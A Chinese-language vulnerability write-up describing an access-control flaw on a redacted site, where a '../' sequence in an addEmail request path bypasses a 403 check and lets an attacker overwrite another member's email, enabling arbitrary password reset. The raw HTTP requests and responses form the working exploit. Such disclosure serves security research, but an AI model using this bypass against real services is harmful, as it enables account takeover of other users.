业务描述

首先,xxx.xxx.com中的用户可以通过填写的电子邮件重置账号密码

在 xxx.xxx.com 上,可以创建一个组织并添加该组织的成员,有两种方式可在组织中添加成员。

第一种,可以通过使用填写对方的电子邮件地址邀请他们,需等待对方同意后方可成功添加

image

第二种,比较不同了,开始只需要任意填写成员姓名,这被称为演示用户,添加演示用户后,可以编辑它并添加电子邮件地址,然后仍然是需等待对方同意后方可成功添加,以使其成为实际用户

image

漏洞发现

  1. 首先创建了组织test
  2. 然后创建了演示用户B,只填写了成员姓名
  3. 然后给用户B赋予一个电子邮件地址,并抓包,数据包如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /<organizationID>/addEmail/<DemoUserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/

{
"email":"attacker@email.com"
}
  1. 可以看出,这里有三个可以尝试的越权点:
  • organizationID
  • DemoUserID
  • email
  1. 三个点都进行了尝试,只有这个点最有可能:DemoUserID
  2. 这是用户B的id,如果我把这个id,改为组织内任何成员比如A用户的UserID,是不是就相当于在对A用户进行电子邮箱地址的赋值或者叫覆盖呢?
  3. 尝试修改,并发包后,结果如下:403
1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/2 403 Forbidden
Date: Tue, 15 Nov 2022 14:44:25 GMT
Content-Type: application/json
Content-Length: 76
Pragma: no-cache
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff


{
"message":"You don't have access to this.",
}
  1. You don’t have access to this提示我们没有权限进行此操作,至少说明了这里如果权限没有控制好的话,就会产生越权问题,只是它做了一些限制

绕过

  1. 做到这里,不要轻易放弃了,还可以试试绕过这个权限控制的防御,姿势很多,逐一尝试……
  2. 终于找到了一个可行的方法,最终绕过方法如下:通过**../**成功绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /<organizationID>/addEmail/<DemoUserID>/../<UserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/

{
"email":"attacker@email.com"
}
  1. 发送请求的响应为 200,成功了!
1
2
3
4
5
6
7
8
9
10
HTTP/2 200 OK
Date: Tue, 15 Nov 2022 14:43:32 GMT
Content-Type: application/json
Content-Length: 2
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff

{
}
  1. 达到的效果就是可以通过覆盖电子邮件实现了任意用户密码重置